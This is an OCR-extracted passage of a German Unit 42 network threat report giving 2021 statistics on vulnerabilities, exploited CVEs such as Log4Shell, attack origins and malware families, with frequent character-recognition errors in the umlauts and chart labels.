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Vorwort

In vielen Unternehmen gehdrt mobiles Arbeiten inzwischen zum Alltag. Da Mitarbeiter

dadurch vollig standortungebunden sind, hat dies auch einschneidende Auswirkungen auf die
Netzwerksicherheit. Der Perimeter wird immer starker aufgeweicht und die Angriffsfliache des
Netzwerks ist dadurch enorm gewachsen. Das bedeutet, dass die Netzwerksicherheitsstrategie
gedndert und an diese modernen Bedrohungen angepasst werden muss. Um sich effektiv vor den
zunehmenden Angriffen zu schiitzen, die zum Umgehen von Erkennungsfunktionen komplexe
Verschleierungs- und Verschliisselungstechniken nutzen, miissen Unternehmen sowohl die neue
Bedrohungslandschaft als auch angemessene Abwehrtaktiken kennen.

Die Anzahl der Bedrohungen hat exponentiell zugenommen — und an diesem Trend wird sich
vorerst wohl auch nichts dndern. 2021 gab es allein fiir Log4Shell mehrere Millionen aktive
Angriffsversuche und es werden immer noch neue aufgedeckt. Angreifer setzen zudem mittlerweile
Automatisierung, As-a-Service-Angebote, komplexe Tools und diverse Umgehungstaktiken ein,
um die Abwehrmafinahmen der Unternehmen zu unterwandern. Auch Varianten von Red-Team-
Tools und RATs (Remote Access Trojans) werden hdufig eingesetzt. Mit diesen Tools und Techniken
konnen Angreifer viel schneller und erfolgreicher agieren. So fdllt es ihnen leichter denn je, flexibel
anpassbare Command-and-Control-(C2-)Kanadle einzurichten, die sich mit herkémmlichen
Methoden nicht blockieren lassen. Die C2-Kommunikation ist eine der letzten Phasen im
Angriffsverlauf und die letzte Moglichkeit fiir Sicherheitsteams, die Aktivitdten der Angreifer zu
stoppen, bevor diese ihr Ziel erreichen und in der Lage sind, Ransomware zu implementieren, sich
im Netzwerk auszubreiten oder Daten zu stehlen. Die mdéglichst unmittelbare Unterbindung der C2-
Kommunikation hat daher hdchste Prioritat fiir die Unternehmen.

Netzwerksicherheitsteams miissen diese komplexen Angriffe also so schnell und prézise wie
moglich erkennen und validieren. Um potenzielle Bedrohungen vor dem Eindringen in das Netzwerk
zu identifizieren und Angriffe sofort im Keim zu ersticken, muss der Datenverkehr in Echtzeit
analysiert werden. Wird er erst nachtrdglich offline untersucht, konnen Angreifer ihre Aktivitdten
leichter verbergen. Auch die Automatisierung und das maschinelle Lernen (ML) tragen entscheidend
dazu bei, dass unbekannte und verschleierte Bedrohungen in Echtzeit erkannt und abgewehrt
werden konnen. Auf3erdem sollten Unternehmen eine ganzheitliche Sicherheitsstrategie entwickeln
und sich nicht nur auf ein Einfallstor konzentrieren, denn Bedrohungen kénnen von verschiedenen
Angriffsvektoren ausgehen. Eine Standardlésung zur Abwehr gibt es leider nicht. Aus diesem Grund
muss die Sicherheit nicht nur in den Rechenzentren und Campusnetzwerken, sondern auch auf
Endpunkten, [oT-Gerdten und beim Remotezugriff {iberpriift werden — insbesondere wegen der
Zunahme an mobilen Mitarbeitern.

Angreifer entwickeln kontinuierlich neue Taktiken, um Sicherheitslésungen zu umgehen und sich
Zugang zu einem Netzwerk zu verschaffen. Um mit der unglaublichen Geschwindigkeit Schritt

zu halten, mit der derzeit neue Gefahren auftauchen, miissen Sicherheitsverantwortliche in
Unternehmen den aktuellen Stand in puncto Bedrohungen und Schwachstellen kennen. In diesem
Bericht geben wir Einblicke in die neuesten Trends bei Netzwerkbedrohungen, einschliellich
aktueller Beispiele aus der Praxis. Wir hoffen, Unternehmen damit einen besseren Uberblick iiber die
Lage der Netzwerksicherheit und die Moglichkeiten zur Verbesserung der Sicherheitsmaf3nahmen
Zu geben.

Xu Zou
VP, Network Security
Palo Alto Networks

Jen Miller-Osborn
Deputy Director, Unit 42
Palo Alto Networks
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Weitere Zunahme der Angriffe und
starkere Verlagerung in die digitale
Welt

Die Anzahl der Netzwerkbedrohungen und -angriffe hat 2021 weiter zugenommen — auch

ein Jahr nach dem starken Anstieg, der mit der Einfiihrung von Homeoffices und hybriden
Arbeitsmodellen im Jahr 2020 einherging. 2021 wurden mehr als 11.000 neue Sicherheitsliicken
veroffentlicht. Unseren Analysen zufolge hat zwar die Anzahl der neuen Sicherheitsliicken im
Vergleich zum Vorjahr etwas abgenommen, doch im Gegenzug gab es mehr Falle von Remote-
Codeausfiihrung (Remote Code Execution, RCE) und Offenlegung von Informationen. Der
Anteil der Malwaresamples ist im Vergleich zu harmlosen Dateien ebenfalls stark angestiegen
und beinahe doppelt so grofl wie in den vorherigen 12 Monaten. Das verdeutlicht, in welchem
Ausmag die Angreifer ihre Prozesse automatisiert haben und wie wichtig es ist, unbekannte
Bedrohungen zu erkennen und moglichst auch abzuwehren. Auerdem sind die Angreifer
wesentlich versierter. Sie nutzen verstarkt Red-Team-Tools, mit denen normalerweise
komplexe Angriffe simuliert und aggressive Sicherheitstests durchgefiihrt werden. Mithilfe
dieser Tools und RATs (Remote Access Trojans) versuchen die Hacker, die Sicherheitslosungen
im Netzwerk zu umgehen. Es sind jedoch nicht nur neue Bedrohungen im Umlauf. Einige
RCE-Sicherheitsliicken wie CVE-2017-9841 und CVE-2019-9082 wurden schon vor mehreren
Jahren gemeldet und waren 2021 noch immer weitverbreitet.

In diesem Bericht von unserem Threat-Intelligence-Team Unit 42 stellen wir Netzwerk-
sicherheitsliicken vor, die 2021 erstmalig gemeldet wurden, und einige neue komplexe Bedro-
hungen, die 2022 und 2023 relevant werden konnten. Dank dieser Erkenntnisse kénnen wir die
Entwicklung der Bedrohungslandschaft besser einschdtzen und Unternehmen Empfehlungen
zur Verbesserung ihrer Sicherheitsmanahmen und zur Risikominimierung geben. Wir hoffen,
dass Unternehmen mithilfe dieser Informationen ihr Sicherheitsniveau verbessern und sich
wirksamer vor persistenten Bedrohungen schiitzen konnen, um die Risiken zu minimieren, die
Reaktionszeiten zu verkiirzen und ihre Sicherheitsinvestitionen zu maximieren.

Wichtige Erkenntnisse

- Leichter Riickgang der CVEs, aber starker Anstieg bei den Angriffen: 2021 wurden
11.841 netzwerkrelevante Common Vulnerabilities and Exposures (CVEs) mit mittlerem
und héheren Schweregraden gemeldet. Das ist ein leichter Riickgang im Vergleich zum
Vorjahr (13.123). Die grofite Gruppe bildeten 2021 Sicherheitsliicken mit mittlerem
Schweregrad. Die Anzahl der Angriffe hat im Jahresvergleich allerdings um 15 Prozent
zugenommen und einen Rekordwert erreicht: 2021 waren es dreimal so viele wie vor der
Verbreitung des mobilen Arbeitens aufgrund der COVID-19-Pandemie. Die Tatsache, dass es
2021 weniger CVEs bei mehr Angriffen gab, zeigt, dass Patching und virtuelle Patches eine
wichtige Rolle spielen.

- Log4Shell, der schwerwiegendste Exploit: 2021 wurde bei den Netzwerkangriffen am
hdufigsten die Log4Shell-Sicherheitsliicke (CVE-2021-44228 und CVE-2021-45046)
ausgenutzt. Das lag zum einen an der umfassenden Nutzung von Apache Log4j und zum
anderen an den gravierenden Konsequenzen fiir die Unternehmen. Seit der 6ffentlichen
Bekanntgabe haben wir 11 Millionen aktive Ausnutzungsversuche verzeichnet und
zum Zeitpunkt der Ver6ffentlichung dieses Berichts werden immer noch neue Angriffe
aufgedeckt. Aufgrund der Log4Shell-Sicherheitsliicke haben sich die beobachteten
Exploits mit einem kritischen Schweregrad im Dezember im Vergleich zum Vormonat fast
verdreifacht. Zu den weiteren CVEs, die am hdufigsten ausgenutzt werden, gehdren dltere
Sicherheitsliicken und Schwachstellen bei IoT-Gerdten. Das zeigt, dass beim Patching alle
Gerate beriicksichtigt werden miissen, nicht nur IT-Gerdte.

- Remote-Codeausfiithrung ist bei Angreifern duflerst beliebt: Im Jahr 2021 haben
wir 262 Millionen netzwerkbasierte Angriffsversuche beobachtet, die meist auf
Sicherheitsliicken mit hohem Schweregrad abzielten. Die Remote-Codeausfithrung ist unter
Angreifern duf3erst beliebt und macht 75 Prozent der Angriffe auf kritische Sicherheitsliicken
aus. Das ist keine grofe Uberraschung, denn bei einer erfolgreichen Remote-Codeausfiihrung
kann ein Angreifer hdufig das angegriffene Gerdt manipulieren und sich so groRere Kontrolle
und einen besseren Zugriff auf das Netzwerk des Opfers verschaffen.

+ Zunahme von Malware: Von den 13,7 Milliarden Malwaresamples, die WildFire 2021 erfasst
hat, waren 525 Millionen schddlich. Das sind etwa 4 Prozent und damit fast doppelt so viel
wie noch 2020. Eine Analyse der Daten ergab, dass die Nutzung schddlicher PDF-Dateien
zwar deutlich zugenommen hat, PE-Dateien (Portable Executables) aber 80 Prozent der
aufgedeckten Malware ausmachen und damit weiterhin die beliebteste Malwarevariante sind.
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Uberblick iiber die Netzwerk-
sicherheitsliicken aus dem Jahr 2021

In diesem Kapitel sehen wir uns sowohl die 6ffentlich gemeldeten Sicherheitsliicken in Netzwerken
als auch die in der Praxis aufgedeckten genauer an. 2021 haben wir mehr als 17.000 6ffentliche
Meldungen zu Sicherheitsliicken von diversen Quellen zusammengetragen, zum Beispiel von

der National Vulnerability Database (NVD), Zero Day Initiative (ZDI), Exploit-DB, Metasploit,
GitHub und Talos. Aulerdem wurden mehr als 262 Millionen schddliche Netzwerksitzungen vom
Advanced Threat Prevention-Service von Palo Alto Networks aufgedeckt, einem IPS (Intrusion
Prevention System), das auf ML-gestiitzten Next-Generation Firewalls (physisch, virtuell oder
containerbasiert), in Prisma SASE, Google IDS, Cloud NGFW fiir AWS und der OCI Network Firewall
for Oracle bereitgestellt wird. Durch die Analyse der Schweregrade, Arten von Sicherheitsliicken und
Daten aus realen Angriffen konnten wir uns einen besseren Uberblick iiber die Lage im Jahr 2021
machen. Diese Erkenntnisse helfen auch anderen Unternehmen, die aktuelle Bedrohungslage
einzuschdtzen und effektive SicherheitsmafSnahmen fiir einen besseren Schutz ihrer Netzwerke
auszuwadhlen.

Methodik

Jedes Jahr wird eine Vielzahl an Sicherheitsliicken gemeldet. In der Regel werden Sicherheitsliicken,
die Unternehmen in einem bestimmten Maf beeintrachtigen, einer Stelle gemeldet, die Common
Vulnerabilities and Exposures (CVEs) verwaltet. Diese weist dann eine CVE-Nummer zu. Zum
Zeitpunkt der Erstellung dieses Berichts hat unser internes Threat-Intelligence-System die
aktuellen Informationen zu Sicherheitsliicken von der offiziellen CVE-Datenbank und anderen
gdngigen Cybersicherheitsquellen wie NVD, ZDI, Exploit-DB, Metasploit, GitHub und der MITRE-
CVE-Datenbank abgerufen. Fiir das Jahr 2021 wurde 17.546 Sicherheitsliicken eine CVE-Nummer
zugewiesen. In diesem Bericht haben wir uns auf die netzwerkrelevanten Sicherheitsliicken mit dem
Schweregrad ,,Mittel, ,,Hoch* oder ,,Kritisch und den entsprechenden CVSS-Werten aus dem
NVD Common Vulnerability Scoring-System konzentriert. Daher haben wir alle Sicherheitsliicken
unberiicksichtigt gelassen, die nicht fiir Netzwerke relevant oder nicht genauer definiert waren. Die
iibrigen 11.841 Sicherheitsliicken wurden fiir diesen Bericht analysiert.

Die Daten aus realen Angriffen wurden von Next-Generation Firewalls (NGFW) von Palo

Alto Networks in verschiedenen Landern erfasst, unter anderem in Europa, Singapur, Japan,
Australien, Kanada und den USA. Dazu gehorten Angriffe auf Einrichtungen in verschiedenen
Branchen, zum Beispiel Universitdten, Krankenhduser, E-Commerce-Héandler, Finanzinstitute
und Technologieunternehmen. Die Daten umfassten 262 Millionen Angriffssitzungen aus dem
Jahr 2021 (interner Netzwerkdatenverkehr ausgenommen). Ebenso wie bei den ver6ffentlichten
Sicherheitsliicken haben wir nur die Angriffe mit einem mittleren, hohen oder kritischen
Schweregrad beriicksichtigt. Diese umfassende Menge an Daten ermdoglichte es uns, wichtige
Trends in Bezug auf die Netzwerkbedrohungen zu identifizieren und schwerwiegende bzw. hdufig
ausgenutzte Exploits zu analysieren.

Analyse der Sicherheitsliicken

Der Schweregrad einer Sicherheitsliicke 1dsst sich anhand von verschiedenen Aspekten ermitteln,
zum Beispiel daran, wie schwierig es ist, sie auszunutzen, oder welche Konsequenzen ein Angriff
iiber diese spezielle Schwachstelle fiir ein einzelnes Opfer haben kann. Welche Bedeutung den
einzelnen Kriterien zugemessen wird, kann je nach Unternehmen und Datenanalyst variieren.
Daher ist es nicht einfach, ein universelles Evaluierungssystem zu entwickeln, doch es gibt einige
Algorithmen, die in der gesamten Branche genutzt werden. Der bekannteste Standard ist CVSS
(Common Vulnerability Scoring System). In diesem Bericht haben wir die Kriterien aus CVSS 3.x als
Grundlage verwendet, sofern verfiigbar. In der Regel gilt: Je h6her der CVSS-Wert, desto grof3er ist
der potenzielle Schaden und daher auch der Schweregrad der Sicherheitsliicke. Log/Shell (CVE-
2021-/44228) war beispielsweise die gravierendste Sicherheitsliicke im Jahr 2021 und hat den
hochsten CVSS-Wert von 10.0.

<l PRISM A® | ﬂ UNIT 42 Network Threat Trends Research Report, Band 1
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98,96 Prozent aller Sicherheitsliicken aus dem Jahr 2021 wurden als ,,Mittel“ oder hoher eingestuft.
Das bedeutet, dass sie gefdhrlich sein konnen, relativ einfach auszunutzen sind sowie eine schnelle
und einfache Einrichtung von C2-Kandlen ermoglichen und dann fiir die Zwecke der Angreifer
genutzt werden konnen (zum Beispiel Datendiebstahl oder Erpressung). In Abbildung 1ist die
anteilige Verteilung der Schweregrade zu sehen. Sicherheitsliicken mit einem geringen Schweregrad
haben meist keine schwerwiegenden Folgen, sodass ihnen oft auch keine CVE-Nummer fiir die
Nachverfolgung zugewiesen wird. Aus diesem Grund gibt es weniger CVE-Nummern mit einem
niedrigen Schweregrad.

KRITISCH
Anteil
17,7 %
——— Anzahl
2.096
MITTEL Verfligbarer PoC
Anteil 10,9 %
43,1 %
Anzahl —/
5.104
Verfiigbarer PoC
8,1%
Anteil

N Anzahl

Verfiigbarer PoC

Abbildung 1: Verteilung von Netzwerksicherheitsliicken mit verfligbaren
PoC-Informationen nach Schweregrad

Erwahnenswert ist aulerdem, dass fiir 10,9 Prozent der Sicherheitsliicken mit einem kritischen
Schweregrad ein 6ffentlicher PoC (Proof-of-Concept) verfiigbar ist. Das bedeutet, dass die Angreifer
offentlich bekannte Informationen zur Ausnutzung der Sicherheitsliicke abrufen kénnen. Die
Gewohnheit, PoC-Informationen meist schon zu verdffentlichen, bevor ein Patch verfiigbar ist,
macht Software und Netzwerke anfdllig fiir Angriffe. IPS-Losungen sollten insbesondere diesen
kritischen Zeitraum abdecken, bis ein Patch verfiigbar ist.

Da der Prozess von der Erkennung einer Sicherheitsliicke bis zu deren Verdffentlichung recht lange
dauern kann, existieren einige der 2021 verdffentlichten CVEs eventuell schon seit 2020. Ebenso
wird eine CVE, die Ende 2021 aufgedeckt wurde, unter Umstanden erst Anfang 2022 ver6ffentlicht.!
Aus diesem Grund stammen die Informationen zu den Sicherheitsliicken, die 2021 von unserem
Threat-Intelligence-System erfasst wurden, aus einer Zeitspanne von Ende 2020 bis Januar 2022.
Thre Verteilung ist in Abbildung 2 zu sehen. Obwohl die Gesamtzahl der CVEs mit unterschiedlichen
Schweregraden von Monat zu Monat variiert, ist die anteilige Verteilung pro Monat recht konstant.
CVEs mit kritischem Schweregrad sind in der Regel am seltensten. Die Anzahl der verdffentlichten
CVEs mit mittlerem oder hohem Schweregrad ist das ganze Jahr iiber relativ konstant. Der
Prozentsatz der realen Angriffe ist allerdings nicht mit dem Prozentsatz der Sicherheitsliicken
identisch.

1. Wir haben die verdffentlichen CVEs vom 15. Januar 2022 als Grundlage genommen. Dadurch ist die Anzahl fiir die letzten Monate im Jahr 2021 eventu-
ell zu gering, da CVEs, die Ende 2021 gemeldet wurden, erst spater aufgenommen wurden.
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Abbildung 2: Verteilung der Schweregrade von erstmalig erfassten
Netzwerksicherheitsliicken nach Monat

Zwar werden jedes Jahr Zehntausende von Sicherheitsliicken gemeldet, aber nicht alle werden
auch tatsdchlich ausgenutzt. Das kann verschiedene Griinde haben: Eventuell haben die Angreifer
keine PoC-Informationen; die Sicherheitsliicke ldsst sich nicht einfach ausnutzen; es ist keine
passende Software im Internet verfiigbar; oder die Auswirkungen waren so gering, dass es sich fiir
die Angreifer schlicht und einfach nicht lohnt. In diesem Bericht stellen wir reale Angriffe aus dem
Jahr 2021 vor und erldutern, auf welche Bereiche sich die Angreifer konzentriert haben.

Wenn wir den Schweregrad und die Verteilung der gemeldeten Sicherheitsliicken mit den

Exploits vergleichen, die im Datenverkehr der Angreifer erfasst wurden, stellen wir fest, dass die
Anzahl der Angriffe auf kritische Sicherheitsliicken ungefahr 1,5-mal grofer als die Anzahl der
gemeldeten kritischen Sicherheitsliicken ist. Bei der Anzahl der gemeldeten CVEs ist die Gruppe mit
mittlerem Schweregrad am grofiten (43,1 Prozent). Bei den aktiven Exploits liegen allerdings die
Sicherheitsliicken mit hohem Schweregrad vorn (40,3 Prozent aller Angriffe). Das deutet darauf hin,
dass Angreifer vorrangig Sicherheitsliicken mit hohem und kritischem Schweregrad ausnutzen, um
die groftmogliche Wirkung zu erzielen. Vor diesem Hintergrund sollten Unternehmen unbedingt die
Abwehrmafnahmen fiir diese Arten von Sicherheitsliicken priorisieren.

Die Verteilung der Schweregrade von veréffentlichten CVEs bleibt im Monatsvergleich relativ stabil.
Allerdings nahm im Dezember 2021 die Anzahl der kritischen Angriffe aufgrund der Apache Log4j-
Sicherheitsliicke stark zu: Die Exploits mit kritischem Schweregrad verdreifachten sich im Vergleich
zu den vorherigen Monaten, insbesondere fiir CVE-2021-44228 und CVE-2021-45046.[11]
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Abbildung 3: In der Praxis beobachtete Angriffe und Verteilung der Schweregrade nach Jahr

Bei der Analyse der Jahrestrends zu den Exploit-Versuchen haben wir festgestellt, dass die Anzahl

der Angriffe im Laufe der Jahre zugenommen hat.> Mit der zunehmenden Verbreitung mobiler

Arbeitsmodelle seit 2019 haben auch die Netzwerkangriffe groSere Ausmaf3e und schwerwiegendere

Folgen. 2020 stieg die Anzahl um etwa 180 Prozent und 2021 erneut um 15 Prozent. Diese

Korrelationen basieren allerdings lediglich auf CVE-Angriffen und beriicksichtigen keine anderen

Angriffsarten wie beispielsweise Phishing. Weitere Informationen dazu, wie Angreifer die Pan
fiir ihre Zwecke ausgenutzt haben, finden Sie in diesem Blogbeitrag von Unit 42.

demie

Arten von Sicherheitsliicken

Um Sicherheitsliicken fiir die Berichterstellung zu klassifizieren und zu gruppieren,
werden sie in verschiedene Arten unterteilt. Hiufig wird dafiir die Ursache einer
Sicherheitsliicke gewdhlt (Pufferiiberlauf oder Use-After-Free (UAF)), die potenziellen
Folgen (Offenlegung von Informationen oder Code-Injection) oder eine typische
Angriffstechnik zur Ausnutzung der Sicherheitsliicke (Denial-of-Service (DoS) oder
SQL-Injection). Unser Threat-Intelligence-System stellt nicht nur Informationen
zur Sicherheitsliicke wie CVE-Nummer und Schweregrad bereit, sondern auch
Beschreibungen, Common Weakness Enumeration (CWE) und relevante Nachrichten
oder Blogartikel. Wir haben die verfiigbaren CVE-Informationen, den Schweregrad,
die CWE-Daten und relevante Nachrichten und Blogartikel analysiert, um die
Sicherheitsliicken moglichst prdzise zu kategorisieren.

Die drei gangigsten Arten von Sicherheitsliicken (siehe unten) machten 31,9 Prozent
aller veroffentlichten CVEs aus dem Jahr 2021 aus. In Abbildung 4 sind die gangigsten
Arten von Sicherheitsliicken aufgefiihrt:

- Cross-Site-Scripting (XSS): Diese Sicherheitsliicke wird dazu genutzt,
schadliche Skripte in vertrauenswiirdige Websites einzuschleusen. Dieser Art von
Sicherheitsliicke wird in der Regel ein mittlerer Schweregrad zugewiesen.

- Denial-of-Service (DoS): Hier wird versucht, die Zugdnglichkeit 6ffentlicher
Ressourcen zu beeintrdchtigen. Diese Sicherheitsliicken haben meist einen hohen
Schweregrad.

Die Anzahl der Angriffe
hat zwischen 2020 und
2021 um 15%
zugenommen. Es wurden
dreimal so viele
Angriffe wie vor der
EinfUhrung des mobilen
Arbeitens beobachfteft.
Damit wurde ein neuer
Rekordwert erreicht.

2. Damit die Anzahl der Kunden nicht die Anzahl der beobachteten Angriffssitzungen insgesamt beeinflusst, haben wir die Gesamtzahl der Angriffssit-
zungen durch die Anzahl der Kunden geteilt, um fiir diese Analyse die Anzahl der Angriffssitzungen insgesamt pro Kunde zu ermitteln.
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- Offenlegung von Informationen: Dies bezieht sich auf die 6ffentliche Bekanntgabe sensibler
Daten. Dazu konnen die Auflistung von Verzeichnissen, Informationen zu Servern oder die
Offenlegung von Dateipfaden gehoren. Diese Sicherheitsliicken haben meist einen hohen oder
mittleren Schweregrad.

B Kritisch Hoch [ Mittel

Die ersten drei
Kategorien

Cross-Site-Scripting 2110 machen bis zu
Denial-of-Service (DoS) 892 } 31,9 % aller

Angriffe aus.
Offenlegung von Informationen 772

Pufferiiberlauf . 642
SQL-Injection - 520
Befehlsinjektion [ | a8a

Ausweitung der Zugriffsrechte 469

Remote-Codeausfiihrung - 4as

Unzureichende
Authentifizierung I =60

Traversal - 364

Cross-Site-Request-Forgery - 315
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Speichermanipulation I 179

Dateibezogen | 166
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Abbildung 4: Die 15 wichtigsten Arten von Sicherheitsliicken fiir CVEs, die 2021
veroffentlicht wurden

Die hohe Anzahl der 2021 ver6ffentlichten XSS-Sicherheitsliicken deutet eventuell darauf hin,

dass webbasierte Software anfdlliger, besser zuganglich oder beliebter als andere Arten von
Software ist. Andere Sicherheitsliicken wie der Pufferiiberlauf, SQL-Injection oder die Remote-
Codeausfithrung umfassen meist mehr CVEs mit hohem und kritischem Schweregrad. Diese Arten
von Sicherheitsliicken sind nicht so einfach zu erkennen und werden daher auch seltener gemeldet.

Wir mochten an dieser Stelle anmerken, dass es sich bei den veroffentlichen Sicherheitsliicken nur
um Schwachstellen handelt, die identifiziert und 6ffentlich gemeldet wurden. Die ausgenutzten
Sicherheitsliicken wurden hingegen bei realen Angriffen aufgedeckt. Diese beiden Gruppen sind
unter Umstdnden nicht identisch.

Die drei am hdufigsten ausgenutzten Arten von Sicherheitsliicken (siehe unten) machten
65,4 Prozent aller Angriffe aus dem Jahr 2021 aus. In Abbildung 5 sind die 15 wichtigsten
Angriffskategorien aufgefiihrt:

- Remote-Codeausfiihrung ermdoglicht dem Angreifer, schadliche Befehle per Fernzugriff in einem
anfalligen System auszufiihren oder in das System einzuschleusen. Die Folgen kdnnen von der
Ausfithrung von Malware bis zur Ubernahme der vollstandigen Kontrolle iiber das System reichen.

- Traversal (auch Path Traversal oder Directory Traversal genannt) ist eine Sicherheitsliicke, bei
sich der Angreifer Zugang zu Verzeichnissen und Dateien mit eingeschrankten Zugriffrechten
auflerhalb des Root-Ordners verschafft. Dadurch kdnnen Anwendungscode, Daten und andere
sensible Informationen gestohlen oder vom Angreifer fiir andere Zwecke missbraucht werden.

- Offenlegung von Informationen tritt auf, wenn eine Anwendung oder ein Webservice Daten
nicht angemessen schiitzt und dadurch sensible Daten wie Benutzernamen, technische Details
oder Infrastrukturinformationen fiir nicht autorisierte Benutzer zuganglich sind. Diese Art von
Sicherheitsliicke wird von den Angreifern oft als Ausgangspunkt genutzt, da sich dadurch die
Angriffsfliche vergréRert und sie sich einen besseren Uberblick iiber weitere Schwachstellen
verschaffen konnen.

Remote-Codeausfiihrung wird am hdufigsten ausgenutzt. Das ist auch nicht verwunderlich, da

sich Angreifer auf diesem Weg die Kontrolle iiber Server verschaffen, Malware ausfithren und

die Zugriffsrechte ausweiten kénnen. Auf Platz 2 und 3 liegen Traversal und die Offenlegung

von Informationen. Angreifer nutzen diese Techniken, um sensible Daten wie die Anmeldedaten
von Benutzern abzurufen oder weitere Angriffe vorzubereiten. Interessant ist, dass Cross-Site-
Scripting 2021 zwar die am hdufigsten gemeldete CVE war, aber weniger als 10 Prozent aller Angriffe
ausmachte.
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Abbildung 5: Die 15 wichtigsten Angriffskategorien

Bei der Kategorisierung aller im Netzwerkdatenverkehr beobachteten Angriffssitzungen nach
Art und Schweregrad der Sicherheitsliicke zeichnete sich ab, dass einige CVEs bei den Angreifern
besonders beliebt sind. In Abbildung 6 sind die zehn Sicherheitsliicken aufgefiihrt, die 2021 am
hdufigsten fiir Angriffe ausgenutzt wurden. Weitere Details finden Sie im Anhang 1.

Die Apache Log4j-Sicherheitsliicke wurde 2021 am hdufigsten ausgenutzt: In weniger als einem
Monat wurden iiber 11 Millionen Angriffssitzungen beobachtet. Das sind 4,2 Prozent aller
Angriffssitzungen. Darin zeigt sich das bis zu diesem Zeitpunkt unerreichte Ausmafg der LogzShell-
Angriffe auf die Internetsicherheit. Details dazu finden Sie in Kapitel 3.1.

Ein weiterer wichtiger Punkt ist, dass dltere Sicherheitsliicken nach wie vor und im grof3en Maf3stab
ausgenutzt werden, obwohl einige davon schon 2017 verdffentlicht wurden.

Apache Log4j Remote-Codeausfiihrung .01
(CVE-2021-44228 und CVE-2021-45046) !
D-Link DCS-2530L Offenlegung von Informationen

(CVE-2020-25078)

PHPUnNit Remote-Codeausfiihrung
(CVE-2017-9841)

ThinkPHP Remote-Codeausfiihrung
(CVE-2019-9082)

Oracle WebLogic Server Remote-Codeausfiihrung
(CVE-2020-14882 und CVE-2020-14883)

Apache Struts Remote-Codeausfiihrung
(CVE-2017-5638 und CVE-2019-02320)

F5 TMUI/ForgeRock OpenAM Remote-Codeausfiihrung
(CVE-2020-5902 und CVE-2021-35464)

D-Link Routers Remote-Befehlsausfiihrung
(CVE-2018-19986 und CVE-2019-19597)

Oracle WebLogic Remote-Codeausfiihrung
(CVE-2019-2725 und CVE-2019-2729)

Mobilelron Core & Connector Remote-Codeausfiihrung
(CVE-2020-15505 und CVE-2020-15506)

o 2 4 6 8 10

Anzahl der Sitzungen (in Millionen)

Abbildung 6: Die am haufigsten ausgenutzten Sicherheitsliicken
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Fiir ,,F5 TMUI“/, ForgeRock OpenAM* (auf Platz 7 in Abbildung 6 und Anhang 1) haben wir CVE-
2020-5902 und CVE-2021-35464 zusammengefasst, da sie beide im Zusammenhang mit dem
Fehler bei der Pfadnormalisierung in Apache[12] gemeldet wurden und daher verwandt sind. Die
anderen Eintrage mit mehreren CVEs weisen einen ahnlichen Charakter auf und zielen auf denselben
Anbieter ab. IPS-Anbieter wie Palo Alto Networks kdnnen allerdings anhand von einer einzigen
Threat-Prevention-Signatur mehrere dhnliche CVE-Angriffe erkennen.

Standorte

Bei der Beobachtung realer Angriffe haben wir anhand der IP-Adressen der Angreifer auch deren
geografischen Ursprung ermittelt. Versierte Hacker nutzen allerdings hdufig Proxyserver und
VPNs in anderen Regionen, um ihren tatsdachlichen Standort zu verschleiern. Auerdem stammt
ein Grof3teil des schadlichen Datenverkehrs von Geraten, die in Botnets organisiert werden, unter
anderem auch IoT-Gerdte und virtuelle Maschinen in 6ffentlichen Clouds.

Unseren Untersuchungen zufolge stammen die meisten Angriffe aus den USA (fast 68 Prozent

des gesamten Angriffsdatenverkehrs), gefolgt von der Russischen Foderation (5,6 Prozent),
Festlandchina (4,0 Prozent) und Deutschland (3,2 Prozent). Im Anhang 2 sind die 14 Lander mit
einem Datenverkehrsvolumen iiber 0,8 Prozent aufgefiihrt. Da Angreifer unter Umstdnden einen
lokalen manipulierten Server nutzen, um ihren eigentlichen Standort zu verbergen, ist es umso
wichtiger, dass Unternehmen fiir zuverlassige Netzwerksicherheit sorgen, damit moglichst wenige
Gerate fiir Angriffe missbraucht werden kénnen.

In der Heatmap in Abbildung 7 ist das Datenvolumen fiir den jeweiligen Ursprungsort farblich
dargestellt (siehe Legende).

RU
5.6% I

DE
3.2%

IR
1.7% I

USA UK
67.8% 1.3%£
— CN
- 4.0% l

BR ) IN
1.4% ' 2.1% I

AU
1.2% i

1 I 150,000,000
Abbildung 7: Heatmap mit den mutmafilichen Angriffsquellen
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Potenziell relevante Sicherheitsliicken fiir 2022 und 2023

Bei den weiteren Analysen der beobachteten Angriffssitzungen haben wir nach Hinweisen

zu Sicherheitsliicken gesucht, die 2022 und Anfang 2023 eventuell relevant werden, damit
Sicherheitsteams rechtzeitig angemessene Mafinahmen ergreifen kénnen. Im Anhang 3 sind die
zehn wichtigsten Sicherheitsliicken fiir diesen Zeitraum mit Links zu Untersuchungsergebnissen
und potenziellen Patches aufgefiihrt.

Dabei wurden die potenzielle Benutzergruppe, der Schweregrad, die Zuverlassigkeit des PoC,
die letzten Entwicklungen sowie die Art des Zugriffs (entweder lokal, d. h. nur iiber ein zuvor
manipuliertes System, oder aus der Ferne iiber ein Netzwerk) beriicksichtigt. Erwdhnenswert
sind einige Sicherheitsliicken zur Remote-Codeausfiihrung in Java wie das NPM-Paket der
System Information Library fiir Node.js [CVE-2021-21315] und im Spring-Framework [CVE-
2022-22963 und CVE-2022-22965], die Sicherheitsliicke zur Umgehung der Authentifizierung
in Zoho ManageEngine ADSelfService Plus [CVE-2021-40539] und einige andere, die eine grofle
Benutzergruppe betreffen, zum Beispiel in Apache und Microsoft.

Wir hoffen, mit den frithzeitigen Hinweisen und Analysen der Sicherheitsliicken zu verhindern, dass
sie ndchstes Jahr die Listen anfithren werden. Weitere Informationen finden Sie im Anhang 3.

Uberblick iiber die im Jahr 2021
verwendete Malware

In diesem Kapitel sehen wir uns die Malware an, die haufig von Angreifern zur Ausnutzung
bestimmter Sicherheitsliicken verbreitet wird, zum Beispiel zur Remote-Codeausfiithrung. 2021 hat
WildFire, der Malwareanalyseservice von Palo Alto Networks, 525 Millionen schddliche Samples
erfasst.[13]

Malwarefamilien
INFOSTEALER
Die Bedrohungsforscher von RANSOMWARE / 2,1%
Unit 42 untersuchen fortlaufend die 6.9% pUP
Bedrohungslandschaft, um neue und ! / 24,1 %

REMOTE ACCESS TOOLS

sich entwickelnde Bedrohungen zu
identifizieren. Durch die Verfolgung der 81%
Angreifer und der verbreiteten Malware
konnen wir die Motive und die Ziele der
einzelnen Hackergruppen ermitteln.

Angreifer nutzen Malware fiir zahlreiche

unterschiedliche Zwecke. In Abbildung 8 BANKEN-TROJANER |
sind verschiedene Malwaregruppen mit 17,9 %

den Bezeichnungen von Unit 42 zu sehen.

Diese dienen wie die verschiedenen Arten

